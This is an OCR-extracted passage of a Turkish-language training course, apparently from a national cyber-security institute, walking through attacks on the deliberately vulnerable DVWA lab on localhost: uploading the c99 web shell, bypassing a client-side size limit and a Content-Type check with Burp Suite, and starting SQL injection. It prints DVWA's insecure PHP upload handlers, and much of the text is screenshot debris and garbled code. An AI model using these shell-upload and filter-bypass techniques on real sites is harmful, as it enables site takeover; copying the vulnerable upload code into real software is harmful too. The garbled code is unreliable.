[} Yonetim Panel X( Ders 11-File U; x( Ders 11-File U K‘D Yénetim Panel: K‘Vulnerability.F x‘D localhost/dvw: x" lhost/dvw: X] [ localhost-ph u
¢ @ 4y [ localhost P =

i apps (D Yiiksek Lisans Sit B Hack Forums [l Turkhackteam [ illegalizm [ Vatanin Bekciler: F2 Metasploit il Msfconsole [ Signin & MailEnable @l Tureng

1c99Shell v. 1.0 pre-release build #16!

ols Proc. FTPbrute Sec. SQL PHP-code Update Feedback Self remove Logout
Ovwned by hacker

Listing folder (19 file:

Acti

(]
(i)
(i)
(i)
(i)
9
9
9
9
9
9
9
9
9
Lid
Lid
Lid
Lid
Lid
[id
[
Li

IR L AL LL LRI Y D

['] Uyart:
¢99.php shell dosyasi ¢ok fazla sayida satir sayisina sahip oldugundan ve hedef dosya upload
mekanizmasinda bir dosya boyutu sinirlamasi oldugundan upload'lama girisiminiz basarisiz
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olacaktir. Fakat dosya boyut denetlemesi istemci tarafli yapiimakta oldugundan html kaynak
koddaki form alaninda, upload'layacaginiz dosya ile beraber gondereceginiz web uygulama
dosya boyut limiti degerini elle degistirebilir ve limiti arttirarak veya komple silerek sunucu
kuralini atlatabilirsiniz. Boylece yukaridaki c99.php dosyasini web sunucuya yukleyebilirsiniz.

Activities ) Firefox Web Browser v sal 08:32
‘Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Yénetim Paneli-Yazi Diizer X | 4§ Ders 11-FileUpload (Lo x RORAE I E +

& C @ @ 2 localhost 120%

o Vulnerability: File Upload

% Choose an image to upload:
Setup | Reset DB

=
9
2)
9

Browse... | No file selected.

Brute Force

Command Injection

Upload

L E D

More Information

A

L Injection (Blind)

Weak Session IDs
XSS (DOM)

XSS (Reflected)
XSS (Stored)

CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

&8
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Activities =) Firefox Web Browser v sal 08:33

e e File Upload

4 @ hefese  Downloads  »

Name Modified

[ Burp Suite Professional v1.5.01 310ca

[ Tubitak Kurulumlari Yesterday

(@ burpsuite_community_v1.7.36.jar 14Ara 2018
13 Sub 2018

9 Pardus-17.5-TS-XFCE-amd64.is0

1,0TBVolur =

Other _cations

AllFiles v

Activities  2) Firefox Web Browser ~ Sal 08:33
Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Morzilla Firefox

Y6netim Paneli - Yazi Diiz X | 3 11-File Upload Sl [ Vulnerability: File Uploa x g

(&) c @ © A localhost/DvWA-master/vulnerabilities /upload/ 120%

Q@ cem

B e Vulnerability: File Upload

% Choose an image to upload:
Setup / Reset DB

A ——
| Browse... |c99.php
Ir4 Brute Force ) —
§> Command Injection ‘ ~M» h
b CSRF L
o T More Informallon
m * hitp sp.orglindex.php/Unrestricted File Upload
* http uriteam.com/index.phplarchives/1268
Insecure CAPTCHA ® http hetix.comiwebsitesecuritylupload-forms-threat/
z SQL Injection
SQL Injection (Blind)
. Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout

Username: admin View Source | View Help
Security Level: low

= PHPIDS: disabled
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Activities ) Firefox Web Browser ~ sal 08:33
Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Yénetim Paneli - Yazi Diizen X | 3§ Ders 11- File Upload (L

9 (OENCR @ localhost 120%
S
o)

e Vulnerability: File Upload

Instructions

Choose an image to upload:

Setup | Reset DB

Brute Force
Upload
Command Injection _Upload

CSRF Your image was not uploaded.

—————————
File Inclusion

ore Information

Browse... | No file selected.

O B D

Insecure CAPTCHA

ak Session IDs

XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help

. Security Level: low
4 PHPIDS: disabled

&6 =

Activities ) Firefox Web Browser ¥ Sal 08:33
Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development? - Mozilla Firefox

Yénetim Paneli- Yaz1 DI x| # Ders 11-File Upload (Lo % [CRE I A

9 [OEXE
2 )

) DR

Home Vulnerability: File Upload

M Choose an image to upload:
A Setup / Reset DB

& Brute Force
Command Injection

§> CSRF
Ficupload |

Insecure CAPTCHA
ﬁ QL MarO
SQL Injection (Blind)
| Weak Session IDs
EI XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript

DVWA Security
PHP Info
About

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

1209
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Activities =) Firefox Web Browser ~ Sal 08:34
Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla FireFox
Yonetim Paneli - Yazi Diize % Ders 11-File Upload (Lo x [ORTORERTERGIEIVEEE +

< c @ ® localhost/DVWA-maste: erabilitie # 12

D)

Home Vulnerability: File Upload

% Choose an image to upload:
Setup | Reset DB

Brute Force
‘Command Injection M
CSRF Your image was not uploaded.
File Inclusion
| FleUpload | More Information
Insecure CAPTCHA
SQL Injection :
SQL Injection (Blind) *
\ / Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)

O O Inspector Console [ Debugger {} Style Editor () Performance 2k Memory 4 Network ([ Storage T Accessibility

Browse... | Nofile selected.

+ A | T rilersyies
Uity: File Uploas</nl- clenent & {
ulnerable_code_area”> 3
v <forn enctype="multipart/forn-data” action="#" method="POST"> nput rea
idden’ ~"MAX_FILE_SIZE ="100000 select @ {
Choose an image to upload font: » 108% a
<br>
<or> vertical-alig
<input name="uploaded” type="Tile">
<br> Inherited From divtn
<br= div#main_body £+
<input type='submit® name='Upload" value="Upload"> -
</form> b
<presYour i s not uploaded.</pre=
_prestour dnse ves 1ot uptoad /pre T
<hzsMore Informatione/hz> divécontainer €
html > bodyhome > divizcontainer > divim div.body s div.vulnerable_code_srea > Form > input ,
Activities ) Firefox Web Browser ¥ sal 08:34
Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox
Yénetim Paneli - Yazi Diize “ Ders 1-FileUpload (Lo X RO AINI S
< c @ @ localhost, A te e tie: # 120

o)

D Vulnerability: File Upload

M Choose an image to upload:
Setup | Reset DB

Brute Force
Command Injection M

CSRF Your image was not uploaded.

File Inclusion

[Fiovpioad |

Insecure CAPTCHA

SQL Injection :
SQL Injection (Blind) °
L Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

Console [ Debugger {} StyleEditor () Performance 20k Memory 4 Network [ Storage r Accessiility

Browse... | Nofile selected.

-
74
7

More Information

¥ O3 inspector

+ & VFile
<hl>Vulnerability: File Upload</hl> element o {
v <div class='vulnerable code area’s ¥
v <form enctype*multipart/forn-data® sction input :
~*hidden ~"MAX_FILE SIZE
Choose an inage to upload font: b 100% ar
ore serifs
brs vertical-align
<input
<br> Inherited from divim
<br> divémain_body
<input type='submit® name="Upload" value="Upload" > !
</form= ) e
<presYour image was not uploaded.</pres
” ¢ " " Inherited from divitce
</dive
<h2>More Information</h2> div#container O3
heml > bodyhome » divcontainer > divimain_body > div.body_p divsvulnerable_ form > input s
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Activities  2) Firefox Web Browser ~ sal 08:34

Vulnerability: File Upload :: Damn Vulnerable web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Yonetim Paneli - Yazi Diizer: X | 4% Ders 11-File Upload

<« ¢ @

@ localhost A tel el ties/u - =

J
D\@A)
Home Vulnerability: File Upload

% Choose an image to upload:
Setup / Reset DB

Brute Force

Command Injection M

CSRF Your image was not uploaded.
[Fileinclusion |
File Upload | More Information
Insecure CAPTCHA

SQL Injection .
SQL Injection (Blind) °
Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

Console [ Debugger {} styleEditor () Performance  #k Memory 4 Network ([ Storage Fr Accessibility

Browse... | No file selected.

R {3 Inspector

+ Qsearch HTML A | ¥ Filtersiyes
<hl>Vulnerability: File Upload</nl> element O {
v<div wulnerable code area’>
method="POST" > input area
~"100000"> T
font: b 100% ar
<br> serif;
wbrs vertical-align
<input names"uploaded” type="file">
<br> Inherited from divim
<br>

a1vemain body O
<input type=submit” name="Upload” value="Upload"> "

.
Fentrsize—i3p

2 yap ve Satin Sil )

</:1“,E; our image was not uploaded.</pre: Inherited from divitct

<h2=More Informations/h2= divécontainer &

html > body home > divitcontainer > divimain_bod div.bod Form > input

1

Activities 2 Firefox Web Browser ¥ sal 08:35

Vulnerabi

File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox

Yénetim Paneli - Yazi Dizen X | #% Ders 11-File Upload (Lo x JORGEEINISAZICNIEERS I -+

< c @ @ localhost, A-master/vulnerabilitie: . =

o)

T Vulnerability: File Upload

% Choose an image to upload:
Setup | Reset DB

Brute Force

‘Command Injection M

CSRF Your image was not uploaded.
File Inclusion
O more Information
Insecure CAPTCHA

SQL Injection .

SQL Injection (Blind) *

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

Console (D Debugger {} Style Editor () Performance {J: Memory 1 Network ([F Storage - Accessibility

Browse... | No file selected.

® O inspector

+ QUsearcn HTIL 2 || ¥ Fierstyies

<hl>Vulnerability: File Upload</hl>
w<div class="vulnerable code area"s

~ <forn enctype="multipart/forn-data” action:
Cl an inage to upload:

Mo element selecte

* method="POST">

<br>
<brs
<input name="uploaded” type="file'>
<br>
<brs
<input type="submit" name="Upload" value="Upload’>
</form>
<pre>Your image was net uploaded.</pre>
</div>
<h2sMore Information</h2s
Ul </l

heml > body.home > divie

divsimain_body > div.bod)
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File Upload

4 f@hefese Downloads »

Name Modified
@ Burp Suite Professional v1.5.01 310ca

@ Tubitak Kurulumlari vesterday
@ burpsuite_community_v1.7.36.jar 14 Ara 2018

13 Sub 2018
) Pardus-17.5LTS-XFCE-amd64.iso 2Nis

<h1=Vulnerability:
w<div class="valnerable _cade area
Ctype="nultipart/Torn-

<br>

<br>
<input type="submit® names"Up

AllFiles »
<h2>More Infarmatione/hi>
ul> = </uf

il > bodyhome > divcontainer > divmain_body » div.body_padded > div.vulnerable_code_area > form

Activities 2 Firefox Web Browser ~ sal 08:35

Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Mozilla Firefox
1-File Upload "3 & Vulnerability: File Uplo= x IS
&« c @ @ localhost/

D\#A)

Home Vulnerability: File Upload

% Choose an image to upload:
Setup / Reset DB
| _Browse... | c99.php

Brute Force —
Command Injection ~M,

CSRF Your image wi oaded.
File Inclusion

More Informatil)n

w o https:/iwww.owagp.orglindex.php/Unrestr 1_File_Upload
SQL Injection | + hitpsiblogs.seckriteam.com/index.phplarchives/1268

SQL Injection (Blind) o htips:iwww.acurfptix.comiwebsitesecuritylupload-forms-threat
Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

= ©3 Inspector onsole [ Debugger {} StyleEditor () Performance 20z Memory N, Network [ Storage - Accessibility

+ Qsearch L A | T riler sies
<hl>Vulnerability: File Uploads</hl> No element selecte
< <div class="vulnerable code ares’s

method="POST">

<input name="uploaded” type="file'>
<brs
<br=
<input type="submit® name="Upload” value="Upload"s
</forms
<presYour image was not uploaded.</pres
</div>
<n2sMore Information</h2>
b culsEe/uls

html > bodyhome > divicontainer > divé#main_body > div.body_padded > div.vulnerable_code_arez > form
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Activities 2 Firefox Web Browser v sal 08:35

Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.10 *Development? - Mozilla Firefox

Yonetim Paneli-Yazi Diizer X | 3§ Ders 11-File Upload (Lo % NORNNGEERHTAAIVICERSE

< c @ © localhost/DVwA-masterfvulnerabilitie » .

—~
D)
Home Vulnerability: File Upload

% Choose an image to upload:
Setup / Reset DB

Brute Force
Command Injection M
CSRF ../../hackable/uploads/c99.php succesfully uploaded!

File Inclusion

Browse... | No file selected.

More Information

Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
(® O mspector () Console O Debugger {} Style Editor (D Performance {3 Memory T‘l Network [ storage  r Accessibility
+ Q Search HTML

<IDOCTYPE html PUBLIC *-//W3C//DTD XHTHL 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/0TD/xhtml1-strict.dtd">
<ht t0://wwee w3 0ra/1999/xhtnl ' > (event

c99 bir kontrol panelini andiriyor degil mi? :) Sayfa hack'lemek i¢in bu derste kullandigimiz
sistem komutlarini kullanmadan c99.php'nin sundugu araylizden anasayfayi hack'lemeniz
mamkindir. ¢99.php sistem komutlarini arkaplanda sizin yerinize yapmaktadir. Hepsi bu
kadar.
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DERS 12 - FIiLE UPLOAD (MEDiUM LEVEL)

Bu yazida guvenlik dizeyi Medium seviyesine yikseltiimis DVWA'da shell tehditine karsi ne
gibi bir dnlem alindigina ve bu dnlemin agilip agilamayacagina deginilecektir.

Dersin Hedefi
Hedefiniz Medium seviyesindeki glvenligi kesfedip nasil asabileceginizi 8grenmektir.

Shell'e Kars1 Onlem
Onceki derste nasil shell dosyasi upload ederek siteyi hack'leyebilecegimizden bahsetmistik.
O derste DVWA'nIn zafiyet barindiran sayfasinin kullandigi kaynak kod suydu:

Low Level:

<?php

if{ isset( %_POST[ 'Upload’ ] ) ) {

ff Where are we going to be writing to?
DViWA_WEB_PAGE_TO _ROOT . “"hackable/uploads/";
basenams{ % _FILES[ ‘'uploaded' ][ "mame® ] J;

ff Can we move the file to the upload folder?

if{ !move_uploaded_file{ % _FILES[ 'uploaded" ][ "tmp_name' ], %target _path ) ) {
fFf No
echo "<prex¥Your image was not uploaded.</pre:";

else {
ff Yes!
echo "<pre:{$target_path} succesfully uploaded!</pre>";
¥
¥
I

Kaynak kodun 9. satirinda upload i¢in secilen dosyanin belirlenen dizine transfer edildigini
gOrmektesiniz. Eger transfer sirasinda bir hata yasanirsa if'e girilir ve bir hata bildirimi ekrana
yansitilir, eger bir hata yasanmazsa else'e girilir ve dosyanin sorunsuz bir sekilde yuklendigine
dair bildirim ekrana yansitilir. Dikkat ettiyseniz bu kaynak koda kullanicidan gelen dosyalar icin
hicbir kisittama konulmamigtir. Simdi guvenlik seviyesi Medium iken kaynak kodda nasil bir
glvenlik metodolojisi gudilmis ona bakalim:

Medium Level:
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<?php

if{ isset( % POST[ ‘Uplead” ] ) ) {
ff Where are we going to be writing to?
ftarget_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
f$target_path .= basename{ %_FILES[ 'uploaded' ][ "name’ 1;
ff File information
fuploaded name = % FILES[ ‘uploaded’ ][ ‘name’ ];
fuploaded_type = $_FILES[ ‘uploaded' ][ 'type' 1;
fuploaded_size = §_FILES[ 'uploaded' ][ 'size' ];

ff Is it an image?
if( ( %uploaded type == "image/jpeg" || Fuploaded type == "image/png" ) &&
( $uploaded_size < 100088 ) ) {

A

// Can we move the file to the upload folder?

if( !move uploaded file( % FILES[ ‘'upleoaded’ ][ "tmp_mame' ], %target path )
I/ Mo
echo "<prexYour image was not uploaded.</pre>’;

p—
=

¥

else {
[/ ¥Yes!
echo "<prex{$target_path} succesfully uploaded!</pre>";

¥

else {
ff Invalid file
echo '<pre»¥our image was not uploaded. We can only accept JPEG or PNG imeges.</pre:';
¥
¥

B

Yukaridaki kaynak koddaki 10. satira bakacak olursaniz kullanicinin upload igin verdigi
dosyanin tipi $uploaded_type degiskenine atanmaktadir. Ardindan bu degiskenin tuttugu
deger 14. satirda sinanmaktadir. Eger dosyanin tipini tutan dedisken image/jpg ya da
image/png degerine sahipse bu durumda sunucu gelen dosyanin resim oldugunu anlayacaktir
ve upload iglemine izin verip if kosuluna girilecektir. Eger dedisken baska bir dedere sahipse
dosya upload edilmeyecektir ve else kosuluyla ekrana hata bildirimi génderilecektir.

Medium level'daki bahsedilen guvenlik barikatini dnceki derste olusturdugunuz shell ile bir
sinayin. Yani shell.php dosyasini glvenlik seviyesi Medium Level iken upload'lamaya ¢alisin.
Goreceginiz tzere upload islemi basarisiz olacaktir ve ekrana "Your image was not uploaded.
We can only accept JPEG or PNG images" bildirimi gelecektir.

ilk bakista glvenlik saglandi gibi gériiniir. Peki agilabilir mi? Cevap evet. Simdi sunucuya
yuklemeye calistigimiz shell.php dosyasinin bir resim olduguna inandiralim. Yani sunucuyu
kandiralim. Bunun igin bir proxy yazihmina ihtiyacimiz var. Bu derste bu is igin BurpSuite
yazihmini kullanacagiz.

NOT: BurpSuite ve tarayicinizin senkron haline gelmesi igin yapilmasi gereken
ayarlamalar su yazinin icerisinde bulabilirsiniz.

ilk olarak normal bir resim yiiklemesinde bulunalim ve sunucuya gdénderdigimiz talebin
(paketin) header bilgilerini ekranimiza gelen BurpSuite popup penceresinden inceleyelim.
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Burp Suite Free Edition v1.6.30
Eurp Intruder Repeater Window Help

|rTarget |/P|'c-:-:'_.' rSpider rScanner rlntruder rRepeater rSequencer rDecoder rCDmparer rExtender rOptions rAIerts |

Intercept |/H'I‘I'Phistor\,f rWebSDCketshistow |/Opti0ns |

Request to http://localhost:80 [127.0.0.1]

| Forward || Drop || Intercept is on || Action

(2]

[~]

Raw |/F‘arams |/Headers |/He>< |

POST Jdvwa/vulnerabilities upload,, HTTP/1.1

Host: localheost

User-Agent: Mozilla/sSs.0 (X11; Ubuntu; Linux x86_54; rv:43.0) Qecko/20100101 Firefox/43.0
Accept: text/html,applicationxhtml+xml,applicationS<ml;g=0.9,%/%;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http:/ /M ocalhost/dvwa/vulnerabilities/upload/

Cookie: security=medium; PHPSESSID=o079rtvpi0cOqpSerS2dlgktsch

Connection: keep-alive

Content-Type: multipart/form-data; boundary=------=------ccocmmmmmommaan 2658920542193285716605493032
Content-Length: 93331

mE

----------------------------- 265920542193285716606493032
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000

————————————————————————————— 2659205421932857 16606493032
Content-Disposition: form-data; name="uploaded"; filename="safakbayir.png"
Content-Type: image/pngl

PNG

IHDRODOG C pHYs tIHE
Ok30] IDATxO0} | DHDdOF< "X Zdozn JroIod HMOCm HOO~00ut; ThQid woomodoT *%E
Z003X0Y0robO: O0YTHF 1#0= WD OE wJoa DCODADDAPD!L DCODADDAPDL

ADDAPT] FlkTTIOFT!L =

N
|-‘;.-";s a Sear

term 0 matches

Resimde sari ile vurgulanmig Content-Type header'ina dikkat edin. Deger olarak image/png
almis. Bu size bir yerden tanidik geliyor mu? Yukarida bahsettigimiz Medium Level kaynak
kodunda hatirlarsaniz yiklenen dosyanin tipi bir degiskene ataniyordu ve bu degisken if kosulu
icerisinde bazi degerlerle sinaniyordu. iste o sinama degerlerinden biri image/png dir. Sinama
basarili olunca if'in igine girilecektir ve dosya upload edilecektir. Upload islemini tamamlamak
icin BurpSuite ekranindaki Forward butonuna tiklamaniz yeterlidir. Bdylece resmi sunucuya
upload'lamig olursunuz.
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Burp Suite Free Edition v1.6.30

Eurp Intruder Repeater Window Help

rTarget |/P|'c-:<',-' rSpider rScanner rlntruder rRepeater rSequencer rDecoder rCDmparer rExtender rOptions rAIerts |

l/lmercept |/H'I‘I'Phistor\,f rWebSDCketshistow |/Opti0ns |

Request to http://localhost:80 [127.0.0.1]

Forward || Drop || Intercept is on || Action |

Raw |/F‘arams |/Headers |/He>< |

POST Jdvwa/vulnerabilities upload,, HTTP/1.1 -

Host: localhost =

User-Agent: Mozilla/sSs.0 (X11; Ubuntu; Linux x86_54; rv:43.0) Qecko/20100101 Firefox/43.0 B

Accept: text/html,applicationxhtml+xml,applicationS<ml;g=0.9,%/%;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http:/ /M ocalhost/dvwa/vulnerabilities/upload/

Cookie: security=medium; PHPSESSID=o079rtvpi0cOqpSerS2dlgktsch

Connection: keep-alive

Content-Type: multipart/form-data; boundary=------=------ccocmmmmmommaan 2658920542193285716605493032

Content-Length: 93331

----------------------------- 265920542193 2857 160060493032

Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000

————————————————————————————— 2659205421932857 16606493032

Content-Disposition: form-data; name="uploaded"; filename="safakbayir.png"

Content-Type: image/pngl

PNG
IHDRODDE tIME

Oki0] IDATxOO} |OfDdOF< 'O ZdoZ J[0Io] %MD Om HOO~00ud; ThQi voOomodoI *E

20i03X0Y0robor 009 THF 1#0= WD DE NJoa DCODADDAPD!L DCODADDAPD!L —
OCODANCAPD] BETTIOFT! hl
a search term 0 matches

Egder 6nceki derste olusturdugumuz shell.php dosyasini BurpSuite aktifken upload'lamaya

caligirsak ekrana su popup penceresi gelecektir:
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B Burp Suite Free Edition v1.6.30

EBurp Intruder Repeater Window Help

rTarget rF'rc-:-:'..' rSpider I/Scanner I/Imruder rRepeater rSequencer I/Decoder rCDmparer rExtender rOptions rAIer‘ts |

Intercept |/H'I'I'F‘histor\y rWebSDcketshistow rOptions |

Request to http:/ flocalhost:80 [127.0.0.1]

| Forward | | Drop | | Intercept is on | | Action | HE‘

Raw |/Params |/Headers rHex |

POST Jdvwasvulnerabilities/upload, HTTP/1.1 -~
Host: lecalhost |
User-Agent: MozillasSs.0 (X113 Ubuntu; Linux xB5_54; rv:i43.0) Gecko/20100101 Firefox/43.0

Accept: text/html,applicationsxhtml+xml,applicationxml;g=0.9,%/;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://Mocalhost/dvwas/vulnerabilities upload,/

Cookie: security=medium; PHPSESSID=o79rtvpjOcOqpSer82dlgktscd

Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------—-————-~-~—~—~——- BOSTE497810137196181358042951
Content-Length: 1118

————————————————————————————— B0576497810137196181358042951 —
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
----------------------------- 80575497810137196181358042951

Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/x-php

<meta http-equiv="Content-Type" cfntent=
=form action="" method="GET" encytype="applica
<table style="margin-left:auto; margin-right:al

=tr=

ml; charset=utf-8"=>
-form-urlencoded"=

<td colspan="2"=Litfen bir sistem komutu girin</td>
=/tr=

strectiss toea/t e x

IS
|'_}"'Jf a search term O matches

Bu sefer yaptigimiz talebin Content-Type header'i dikkat ederseniz application/x-php degerini
almis. Iste kritik nokta burasidir. Sunucu, yani kullanilan PHP kodlari aldi§i dosyanin tipini
gelen paketin Content-Type header dederine bakarak anlamaktadir. Eger biz yukaridaki popup
penceresinden elimizle bu degeri degistirip image/png yaparsak sunucu gelen dosyanin
(shell.php'nin) resim oldugunu sanacaktir. Boylelikle guvenlik asilip shell dosyasi sunucuya

yuklenecektir.

Simdi elinizle popup penceresindeki application/x-php yazisini silin ve image/png yapin.
Ardindan Forward tusuna basarak talebin (paketin) sunucuya gitmesine izin verin. Ekrana

dosyanin yUklendiginde dair bir bildirim mesaji gelecektir.
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Vulnerability: File Upload

Choose an image to upload:

Browse... | No file selected.

Upload

../ ../hackable/uploads/shell.php succesfully uploaded!

Boyelikle shell dosyasina tarayicinizdan erigserek tipki dnceki derste anlatildigi gibi siteyi
hack'leyebilirsiniz.

Sonug¢

Bu derste hem bir guvenlik énlemi koda nasil yansiri gérmus oldunuz hem de bir guvenlik
onlemi nasil asilabiliri gormus oldunuz. Eger shell tehlikesine karsi daha etkili bir guvenlik
Onlemi gormek isterseniz siradaki yaziyi okuyabilirsiniz: Ders 13 - File Upload (High Level)
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DERS 13 - FILE UPLOAD (HiGH LEVEL)

Bu yazida guvenlik dizeyi High seviyesine yukseltiimis DVWA'da shell tehditine karsi ne gibi
bir dnlem alindigina ve bu dnlemin aslilip asilamayacadina deginilecektir.

Dersin Hedefi
Shell'e kargi nasil etkili bir gtvenlik temin edilebilecegini kesfedin.

Shell'e Kars1 Onlem

File Upload bdolimununilk dersinde shell upload ederek bir siteyi nasil
hack'leyebilecegimizden bahsetmistik. Ikinci _derste ise shell tehditine karsi alinmis bir
glvenlik 6nleminden ve bu glvenlik 6nleminin nasil asilabileceginden bahsetmistik. Bu derste
ise dnceki derse nazaran daha etkili bir givenlik dnleminden bahsedecegiz. DVWA'da glvenlik
seviyesi High Level iken kullanilan kaynak kod sudur:

High Level:

<?php

if( isset({ $_POST[ 'Upload’ ] ) ) {

/[ Where are we going to be writing to?

Bt _path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
ftarget_path .= basenams( %_FILES[ 'uploaded' ][ ‘name" ] );

// File

( $uploaded_name, '.' ) + 1);

/f Is it an image?

if( ( strtolower( $uploaded_ext ) == “jpg" || strtolower( $uploaded_ext ) == "jpeg" strtolower( Suploaded ext ) == “"png" ) &&
( Supl e < 10008 ) &8
getima uploaded_tmp ) ) {
f/ Can we move the file to the upload folder?
if( !move_uploaded file( fuploaded tmp, %target path ) ) {
// Mo
echo '<prerYour image was not uploaded.</pre>’;
¥
else {
/f Yes!

echa "<pre>{$target_path} succesfully uploaded!</prez";

I

else {
ff Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</prex';
h
¥

I

Yukaridaki kullanilan kaynak kodun 10. satirina dikkat ederseniz kullanicinin yukleme
tesebbisinde bulundugu dosyanin ismi ele alinlyor. Dosya isminde barinan ilk noktadan
sonraki tim karakterler $uploaded_ext degiskenine ataniyor. Yani bu yapilan igslem dosyanin
uzantisini 6grenmek icindir. Ardindan bu degisken 15. satirda sinaniyor ve eger jpg, jpeg, png
degerlerinden birine sahipse dosyanin upload'lanmasina izin veriliyor. Eger jpg, jpeg ya da png
degerlerine sahip degilse dosyanin upload'lanmasi else kosuluna girilerek engelleniyor.

Goruldugu Gzere bu sefer dncekine nazaran daha siki bir glivenlik proseduri uygulanmis. Fikir

cimnastigi yapmak adina ilk derste olusturulan shell.php dosyasini goyle adlandirip
gondermeyi deneyebiliriz:

shell.png.php

Ancak sunucu buna kanmaz. Cunkd 10. satirda yer alan fonksiyonlarin kullanimina gore ilk
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noktadan sonraki tim karakterler uzanti olarak kabul ediliyor. Dolayisiyla sunucu dosyayi
upload'lamak igin png.php degerini sinayacaktir. E haliyle bu deger ne png ne jpeg ne de jpg
oldugu icin dosya upload'lanamayacaktir. Su sartlar altinda bu glvenlik 6nlemi
asllamayacaktir.

TUBITAK — BILGEM — Siber Giivenlik Enstitiisi 138



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

DERS 14 - SQL INJECTION (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin glvenlik zafiyetinden
faydalanarak SQL Injection saldirisinda bulunulacaktir.

Dersin Hedefi

Hedef sitenin veritabaninda sakh olan admin sifresini SQL Injection a¢igindan faydalanarak
ogrenin.

SQL Injection Nedir?

SQL Injection, yani SQL Enjeksiyonu saldirisi bir web uygulamasina bagh istemcinin girecegi
input verisi araciligiyla sunucudaki var olan SQL sorgusuna yeni SQL sorgusu ilave etmesine,
diger tabirle enjekte etmesine denir. SQL Injection saldirisi ile hedef sitenin hassas verilerine
erigilebilir, hedef sitenin veritabani modifiye edilebilir. Ve evet. Sql injection ile sayfa da
hack'lenebilmektedir. Bu derste sayfa hack'lenmeyecektir, bunun yerine hassas bilgiye erisim
gosterilecektir. Fakat bundan sonraki derste SQL Injection ile nasil sayfa hack'leyebileceginiz
gOsterilecektir.

SQL Injection Saldiris1 Nasil Yapilir?
Oncelikle ise daha iyi vakif olabilmek adina DVWA'daki ders ekraninin sundugu isleve bir goz
atalim. Ekrandaki metin kutusuna bir sayi girin:

Vulnerability: SQL Injection

User ID: 1 Submit

ID: 1
First name: admin
Surname: admin

Goruldugu uzere bir kayit ekrana yansimistir. Bu mekanizmadan anlayabileceginiz gibi metin
kutusuna girilen dedere gdre veritabanindan bir kayit ¢ekilip ekrana yansitiimaktadir.
Arkaplanda bu isi yapan sql sorgusu su sekildedir:

SELECT first name, last name FROM users WHERE user_id = 'S$id}

Simdi hedef sitede (DVWA'da) SQL Injection agigi var mi yok muyu bir test edelim. Bunun igin
ekrandaki metin kutusuna tirnak (') isareti girin. Eger tirnak isareti girildikten sonra site bir SQL
syntax hatasi veriyorsa - ki verecek - site SQL Injection agigina sahip demektir. Tirnak isareti
siteye hata verdirir, ¢linki sql sorgularinda 6zel bir anlama sahiptir. Bu karakter SQL
sorgularindaki WHERE kosullarinda yer alan field'larin dederlerini sinirlandirmaya yarayan bir
komuttur. Asagida metin kutusuna normal bir deger girildigi durumda arkaplanda sql
sorgusunun burandagd hal ile metin kutusuna tirnak isareti girildigi durumda sqgl sorgusunun
barindugu hal gosteriimektedir:
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SELECT  first_ name, last name FROM users WHERE user_id ='1";

SELECT first_ name, last name FROM users WHERE user_id ='1";

ikinci SQL sorgusunda gorildigu Gzere girilen tirnak degeri (kirmizi olan) SQL sorgusu igin
fazlalik teskil edecektir ve bu nedenle sitede hataya sebebiyet verecektir.

NOT: Eger SQL sorgusunun WHERE kosulundaki field'larin degerleri tirnak isareti konulmadan
koyulmugsa bu durumda yine deger olarak tirnak verildiginde tirnak karakteri hataya sebebiyet
verecektir. Clnkd hig tirnak kullanimi yokken bir tirnak gelirse o kapatiimaya ihtiya¢ duyacaktir ve SQL
sorgusu  tirnak  kullanmadigindan  kapatilmayacadi icin yine hata meydana gelecektir.

Sitede zafiyet var mi diye deneme yapan Kisi ilgili sayfanin arkaplaninda yer alan SQL sorgusundaki
Where ciimleciginde tirnakli mi kullanim var yoksa tirnaksiz mi diye diiglinmesine gerek yoktur. Her iki
durumda da metin kutusuna girilecek tirnak karakteri hataya sebep olmaktadir. Birinde fazla tirnak
hatasindan dolayi, digerinde eksik tirnak hatasindan dolayi.

